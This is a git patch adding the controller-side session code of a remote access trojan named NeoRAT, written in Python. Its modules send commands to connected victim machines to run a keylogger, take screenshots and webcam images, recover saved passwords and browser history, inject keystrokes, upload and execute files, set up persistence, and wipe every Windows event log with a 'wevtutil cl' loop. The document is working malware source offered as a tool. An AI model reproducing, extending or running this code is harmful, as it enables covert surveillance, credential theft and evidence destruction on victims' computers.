From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- domestic/session/enter_session.py | 15 ++++++ domestic/session/exit_session.py | 9 ++++ domestic/session/server_handling/cd.py | 8 +++ domestic/session/server_handling/download.py | 35 +++++++++++++ domestic/session/server_handling/encrypt.py | 13 +++++ domestic/session/server_handling/image.py | 31 ++++++++++++ domestic/session/server_handling/interpreter.py | 35 +++++++++++++ domestic/session/server_handling/keylogger.py | 43 ++++++++++++++++ domestic/session/server_handling/keystroke.py | 23 +++++++++ domestic/session/server_handling/messagebox.py | 25 ++++++++++ domestic/session/server_handling/obfuscate.py | 15 ++++++ domestic/session/server_handling/persistence.py | 23 +++++++++ domestic/session/server_handling/recover.py | 66 +++++++++++++++++++++++++ domestic/session/server_handling/system.py | 29 +++++++++++ domestic/session/server_handling/upload.py | 36 ++++++++++++++ domestic/session/server_handling/website.py | 8 +++ domestic/session/session_message.py | 35 +++++++++++++ domestic/session/session_queue.py | 43 ++++++++++++++++ domestic/session/session_wait.py | 22 +++++++++ 19 files changed, 514 insertions(+) create mode 100644 domestic/session/enter_session.py create mode 100644 domestic/session/exit_session.py create mode 100644 domestic/session/server_handling/cd.py create mode 100644 domestic/session/server_handling/download.py create mode 100644 domestic/session/server_handling/encrypt.py create mode 100644 domestic/session/server_handling/image.py create mode 100644 domestic/session/server_handling/interpreter.py create mode 100644 domestic/session/server_handling/keylogger.py create mode 100644 domestic/session/server_handling/keystroke.py create mode 100644 domestic/session/server_handling/messagebox.py create mode 100644 domestic/session/server_handling/obfuscate.py create mode 100644 domestic/session/server_handling/persistence.py create mode 100644 domestic/session/server_handling/recover.py create mode 100644 domestic/session/server_handling/system.py create mode 100644 domestic/session/server_handling/upload.py create mode 100644 domestic/session/server_handling/website.py create mode 100644 domestic/session/session_message.py create mode 100644 domestic/session/session_queue.py create mode 100644 domestic/session/session_wait.py (limited to 'domestic/session') diff --git a/domestic/session/enter_session.py b/domestic/session/enter_session.py new file mode 100644 index 0000000..dae4bac --- /dev/null +++ b/domestic/session/enter_session.py @@ -0,0 +1,15 @@ +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.global_state import * + + +@error_exception_handling +def enter_session(message): + index = validate_dict_key(message, 'index') + + if index: + state['session'] = {'active': True, 'socket': state['sockets']['clients'][0][int(index)], 'username': state['sockets']['clients'][2][int(index)]['username'], 'data': None} + status_message('Session succesfully established', 'success') + else: + raise Exception('Error message') \ No newline at end of file diff --git a/domestic/session/exit_session.py b/domestic/session/exit_session.py new file mode 100644 index 0000000..6a91752 --- /dev/null +++ b/domestic/session/exit_session.py @@ -0,0 +1,9 @@ +from domestic.utility.status_message import * +from domestic.global_state import * + + +def exit_session(write_stdout=True, data=None): + state['session'] = {'active': False, 'socket': None, 'username': None, 'data': data} + + if write_stdout: + status_message('Session successfully exited', 'success') \ No newline at end of file diff --git a/domestic/session/server_handling/cd.py b/domestic/session/server_handling/cd.py new file mode 100644 index 0000000..fe58ea7 --- /dev/null +++ b/domestic/session/server_handling/cd.py @@ -0,0 +1,8 @@ +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * + + +@error_exception_handling +def cd(message): + assert message['to'] + session_message(message) \ No newline at end of file diff --git a/domestic/session/server_handling/download.py b/domestic/session/server_handling/download.py new file mode 100644 index 0000000..a51e394 --- /dev/null +++ b/domestic/session/server_handling/download.py @@ -0,0 +1,35 @@ +import os + +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.make.make_directories import * +from domestic.global_state import * + + +@error_exception_handling +def download(message): + assert message['file'] + + filename = validate_dict_key(message, 'file') + execute = validate_dict_key(message, 'execute') + + username = state['session']['username'] + make_directories([username, f'{username}/downloads']) + root = f'{state["root"]}/{username}/downloads/{filename}' + + message['max_file_size'] = state['settings']['max-file-size'] + if execute: + del message['execute'] + + data = session_message(message, False, loading_text='downloading file...') + download = validate_dict_key(data, 'download', False) + + if download: + with open(root, 'wb') as f: + f.write(download) + + if execute: + os.startfile(root) + + status_message(data['message'], data['text_mode']) \ No newline at end of file diff --git a/domestic/session/server_handling/encrypt.py b/domestic/session/server_handling/encrypt.py new file mode 100644 index 0000000..b5407ba --- /dev/null +++ b/domestic/session/server_handling/encrypt.py @@ -0,0 +1,13 @@ +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * + + +def encrypt(message): + assert message['file'] + + decrypt = validate_dict_key(message, 'decrypt') + + if decrypt is None: + message['decrypt'] = False + + session_message(message) \ No newline at end of file diff --git a/domestic/session/server_handling/image.py b/domestic/session/server_handling/image.py new file mode 100644 index 0000000..15719e0 --- /dev/null +++ b/domestic/session/server_handling/image.py @@ -0,0 +1,31 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * + + +@error_exception_handling +def image(message): + monitor = validate_dict_key(message, 'monitor') + screenshot = validate_dict_key(message, 'screenshot') + cam = validate_dict_key(message, 'cam') + + assert screenshot or cam + + if monitor is None: + message['monitor'] = 0 + else: + message['monitor'] = int(monitor) + + if screenshot: + message['image_type'] = True + del message['screenshot'] + image_type = 'screenshot' + else: + message['image_type'] = False + del message['cam'] + image_type = 'cam-screenshot' + + data = session_message(message, False) + + if data['screenshot']: + make_image(['image', f'image/{image_type}'], data['screenshot'], success_message=data['message'], image_type=message['image_type']) \ No newline at end of file diff --git a/domestic/session/server_handling/interpreter.py b/domestic/session/server_handling/interpreter.py new file mode 100644 index 0000000..0c403e4 --- /dev/null +++ b/domestic/session/server_handling/interpreter.py @@ -0,0 +1,35 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.utility.read_file import * +from domestic.global_state import * + + +@error_exception_handling +def interpreter(message): + execute = validate_dict_key(message, 'execute') + script = validate_dict_key(message, 'script') + quiet = validate_dict_key(message, 'quiet') + + assert execute or script + + if script: + parent_folder = state['settings']['folders']['parent'] + child_folder = state['settings']['folders']['child'][1] + message['execute'] = read_file(f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(state['settings']['encoding']) + del message['script'] + + if quiet: + del message['quiet'] + + data = session_message(message, False) + result = validate_dict_key(data, 'result') + + if result: + if quiet is None: + status_message(data['result'], 'pure', {'end': True}) + print() + make_file(['interpreter'], 'txt', bytes(data['result'], state['settings']['encoding']), data['message']) + else: + status_message(data['message'], data['text_mode']) \ No newline at end of file diff --git a/domestic/session/server_handling/keylogger.py b/domestic/session/server_handling/keylogger.py new file mode 100644 index 0000000..366aaac --- /dev/null +++ b/domestic/session/server_handling/keylogger.py @@ -0,0 +1,43 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.make.make_file import * + + +@error_exception_handling +def keylogger(message): + run = validate_dict_key(message, 'run') + download = validate_dict_key(message, 'download') + close = validate_dict_key(message, 'close') + status = validate_dict_key(message, 'status') + quiet = validate_dict_key(message, 'quiet') + + if run: + message['action_type'] = 'run' + del message['run'] + session_message(message) + elif download: + message['action_type'] = 'download' + del message['download'] + data = session_message(message, False) + + logs = validate_dict_key(data, 'logs') + + if logs: + if quiet is None: + status_message(logs.decode(state['settings']['encoding']), 'raw') + print() + make_file(['keylogger'], 'txt', logs, data['message']) + else: + status_message(data['message'], data['text_mode']) + elif close: + message['action_type'] = 'close' + del message['close'] + session_message(message) + elif status: + message['action_type'] = 'status' + del message['status'] + session_message(message) + else: + raise Exception('Error message') \ No newline at end of file diff --git a/domestic/session/server_handling/keystroke.py b/domestic/session/server_handling/keystroke.py new file mode 100644 index 0000000..9f09540 --- /dev/null +++ b/domestic/session/server_handling/keystroke.py @@ -0,0 +1,23 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.read_file import * +from domestic.global_state import * + + +@error_exception_handling +def keystroke(message): + inject = validate_dict_key(message, 'inject', False) + script = validate_dict_key(message, 'script', False) + + if inject: + message['inject'] = inject.strip().split(';') + elif script: + parent_folder = state['settings']['folders']['parent'] + child_folder = '{}/{}'.format(state['settings']['folders']['child'][1], state['settings']['folders']['child'][3]) + message['inject'] = read_file(f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(state['settings']['encoding']).strip().split('\r\n') + del message['script'] + else: + raise Exception('Error message') + + session_message(message) \ No newline at end of file diff --git a/domestic/session/server_handling/messagebox.py b/domestic/session/server_handling/messagebox.py new file mode 100644 index 0000000..28b4ff5 --- /dev/null +++ b/domestic/session/server_handling/messagebox.py @@ -0,0 +1,25 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * + + +@error_exception_handling +def messagebox(message): + title = validate_dict_key(message, 'title', False) + text = validate_dict_key(message, 'text', False) + style = validate_dict_key(message, 'style') + + if title and text: + if style == 'info': + message['style'] = 64 + elif style == 'cross': + message['style'] = 16 + elif style == 'question': + message['style'] = 32 + elif style == 'warning': + message['style'] = 48 + else: + message['style'] = 64 + session_message(message) + else: + raise Exception('Error message') \ No newline at end of file diff --git a/domestic/session/server_handling/obfuscate.py b/domestic/session/server_handling/obfuscate.py new file mode 100644 index 0000000..c3f5422 --- /dev/null +++ b/domestic/session/server_handling/obfuscate.py @@ -0,0 +1,15 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * + + +@error_exception_handling +def obfuscate(message): + logs = validate_dict_key(message, 'logs') + + if logs: + message['message'] = 'for /f %x in (\'wevtutil el\') do wevtutil cl "%x"' + del message['logs'] + session_message(message) + else: + raise Exception('Error message') \ No newline at end of file diff --git a/domestic/session/server_handling/persistence.py b/domestic/session/server_handling/persistence.py new file mode 100644 index 0000000..f6ae6b5 --- /dev/null +++ b/domestic/session/server_handling/persistence.py @@ -0,0 +1,23 @@ +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * + + +@error_exception_handling +def persistence(message): + elevate = validate_dict_key(message, 'elevate') + service = validate_dict_key(message, 'service') + schedule = validate_dict_key(message, 'schedule') + + if elevate: + message['action_type'] = 'elevate' + del message['elevate'] + elif service: + message['action_type'] = 'service' + del message['service'] + elif schedule: + message['action_type'] = 'schedule' + del message['schedule'] + else: + raise Exception('Error message') + + session_message(message) \ No newline at end of file diff --git a/domestic/session/server_handling/recover.py b/domestic/session/server_handling/recover.py new file mode 100644 index 0000000..0c29c4c --- /dev/null +++ b/domestic/session/server_handling/recover.py @@ -0,0 +1,66 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.make.make_history import * +from domestic.global_state import * + + +@error_exception_handling +def recover(message): + password = validate_dict_key(message, 'password') + history = validate_dict_key(message, 'history') + quiet = validate_dict_key(message, 'quiet') + force = validate_dict_key(message, 'force') + + if force is None: + message['force'] = False + + if password: + del message['password'] + message['action_type'] = 'password' + + if quiet: + del message['quiet'] + + data = session_message(message, False) + + if quiet is None: + text = [x for x in data['message'].split('\n') if x != ''] + count = 0 + + for line in text: + if line[:3] == '[+]': + print() + status_message(line[4:], 'success', {'end': True, 'point': 'empty'}) + elif line[:3] == '[-]': + print() + status_message(line[4:], 'danger', {'end': True, 'point': 'empty'}) + elif line[:19] == '-------------------': + if count != 0: print() + count += 1 + status_message(line, 'raw') + else: + status_message(line, 'raw') + print() + + make_file(['recover', 'recover/password'], 'txt', bytes(data['message'], 'utf-8'), 'Passwords succesfully recovered') + elif history: + del message['history'] + message['action_type'] = 'history' + + if quiet: + del message['quiet'] + + data = session_message(message, False) + + if quiet is None: + for browser, browser_data in data['message'].items(): + browser = browser.capitalize() + for link, title, date in browser_data: + status_message(f'{browser}: {link}, {title}, {date}', 'pure', {'end': True}) + print() + + make_history(['recover', 'recover/history'], 'csv', data['message'], 'Browser history succesfully recovered') + else: + raise Exception('Error message') \ No newline at end of file diff --git a/domestic/session/server_handling/system.py b/domestic/session/server_handling/system.py new file mode 100644 index 0000000..f505dbf --- /dev/null +++ b/domestic/session/server_handling/system.py @@ -0,0 +1,29 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.global_state import * + + +@error_exception_handling +def system(message): + shutdown = validate_dict_key(message, 'shutdown') + restart = validate_dict_key(message, 'restart') + logout = validate_dict_key(message, 'logout') + standby = validate_dict_key(message, 'standby') + + if shutdown: + message['action_type'] = 'shutdown' + del message['shutdown'] + elif restart: + message['action_type'] = 'restart' + del message['restart'] + elif logout: + message['action_type'] = 'logout' + del message['logout'] + elif standby: + message['action_type'] = 'standby' + del message['standby'] + else: + raise Exception('Error message') + + session_message(message) \ No newline at end of file diff --git a/domestic/session/server_handling/upload.py b/domestic/session/server_handling/upload.py new file mode 100644 index 0000000..fe88f05 --- /dev/null +++ b/domestic/session/server_handling/upload.py @@ -0,0 +1,36 @@ +import os + +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * +from domestic.utility.read_file import * +from domestic.global_state import * + + +@error_exception_handling +def upload(message): + filename = validate_dict_key(message, 'file', False) + url = validate_dict_key(message, 'url', False) + execute_on_upload = validate_dict_key(message, 'execute') + + message['max_file_size'] = state['settings']['max-file-size'] + + if execute_on_upload is None: + message['execute'] = False + else: + message['execute'] = True + + if filename: + root = f'{state["root"]}/{state["settings"]["folders"]["parent"]}/{state["settings"]["folders"]["child"][0]}/{filename}' + + if (os.path.getsize(root) / 1024 / 1024) > message['max_file_size']: + status_message(f'File exceeding maximum size of {message["max_file_size"]}MB', 'danger') + return + + message['from_url'], message['file_data'] = False, read_file(root) + elif url: + message['file'], message['from_url'], message['file_data'] = url, True, None + del message['url'] + else: + raise Exception('Error message') + + session_message(message, loading_text='uploading file...') \ No newline at end of file diff --git a/domestic/session/server_handling/website.py b/domestic/session/server_handling/website.py new file mode 100644 index 0000000..bac7138 --- /dev/null +++ b/domestic/session/server_handling/website.py @@ -0,0 +1,8 @@ +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * + + +@error_exception_handling +def website(message): + message['open'] = message['open'].split(',') + session_message(message) \ No newline at end of file diff --git a/domestic/session/session_message.py b/domestic/session/session_message.py new file mode 100644 index 0000000..485bfbb --- /dev/null +++ b/domestic/session/session_message.py @@ -0,0 +1,35 @@ +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from binary.data_handling.send_data import * +from binary.data_handling.recv_data import * +from domestic.utility.delete_client import * +from domestic.utility.text_to_image import * +from domestic.session.session_wait import * +from domestic.utility.write_error import * +from domestic.make.make_image import * +from domestic.make.make_file import * +from domestic.global_state import * + + +def session_message(message, piped_data=True, loading_text='loading...'): + data = session_wait((state['session']['socket'], message, True), loading_text) + + text_mode = validate_dict_key(data, 'text_mode') + text_extras = validate_dict_key(data, 'text_extras') + + if state['options']['information-gathering']['backup']['text']: + make_file(['backup', 'backup/text'], 'txt', bytes(data['message'], state['settings']['encoding'])) + + if state['options']['information-gathering']['backup']['image']: + make_image(['backup', 'backup/image'], text_to_image(data['message']), False) + + if piped_data: + if text_mode is None: + status_message(data['message'], 'pure') + else: + if text_extras: + status_message(data['message'], text_mode, text_extras) + else: + status_message(data['message'], text_mode) + else: + return data \ No newline at end of file diff --git a/domestic/session/session_queue.py b/domestic/session/session_queue.py new file mode 100644 index 0000000..e4e0f81 --- /dev/null +++ b/domestic/session/session_queue.py @@ -0,0 +1,43 @@ +import time + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.utility.status_message import * +from binary.data_handling.send_data import * +from binary.data_handling.recv_data import * +from domestic.utility.delete_client import * +from domestic.session.exit_session import * +from domestic.utility.write_error import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def session_queue(): + while True: + for index in range(len(state['sockets']['clients'][0])): + if time.time() - state['sockets']['clients'][2][index]['timer'] >= state['settings']['keep-alive-count']: + state['settings']['dynamic']['queue'].append((state['sockets']['clients'][0][index], {'message': 'bbCF2NNYjjTfHELUV9Y2qmkV'}, False)) + state['sockets']['clients'][2][index]['timer'] = time.time() + + if state['settings']['dynamic']['queue']: + for item in state['settings']['dynamic']['queue']: + try: + send_data(item[0], item[1], (state['settings']['encryption'], state['settings']['encoding'], state['settings']['headersize']), {'safe': state['options']['mode']['safe'], 'safe_timeout': state['settings']['safe-timeout']}) + data = recv_data(item[0], (state['settings']['encryption'], state['settings']['headersize'])) + + if item[2]: + state['session']['data'] = data + except Exception as err: + write_error(err) + + if item[2]: + exit_session(False, {'message': 'Timeout reached waiting for client response\nClient had to be disconnected', 'text_mode': 'danger'}) + elif state['session']['socket'] is item[0]: + exit_session(False) + print() + status_message('Timeout reached waiting for client response\nClient had to be disconnected', 'danger') + + delete_client(index, False) + finally: + state['settings']['dynamic']['queue'].remove(item) + else: + time.sleep(0.1) \ No newline at end of file diff --git a/domestic/session/session_wait.py b/domestic/session/session_wait.py new file mode 100644 index 0000000..244b9e2 --- /dev/null +++ b/domestic/session/session_wait.py @@ -0,0 +1,22 @@ +import time + +from domestic.utility.loading import * +from domestic.global_state import * + + +def session_wait(queue_obj, loading_text): + try: + if state['settings']['loading']: + start_loading(loading_text) + + state['settings']['dynamic']['queue'].append(queue_obj) + + while state['session']['data'] is None: + time.sleep(0.1) + else: + if state['settings']['loading']: + stop_loading() + + return state['session']['data'] + finally: + state['session']['data'] = None \ No newline at end of file -- cgit v1.2.3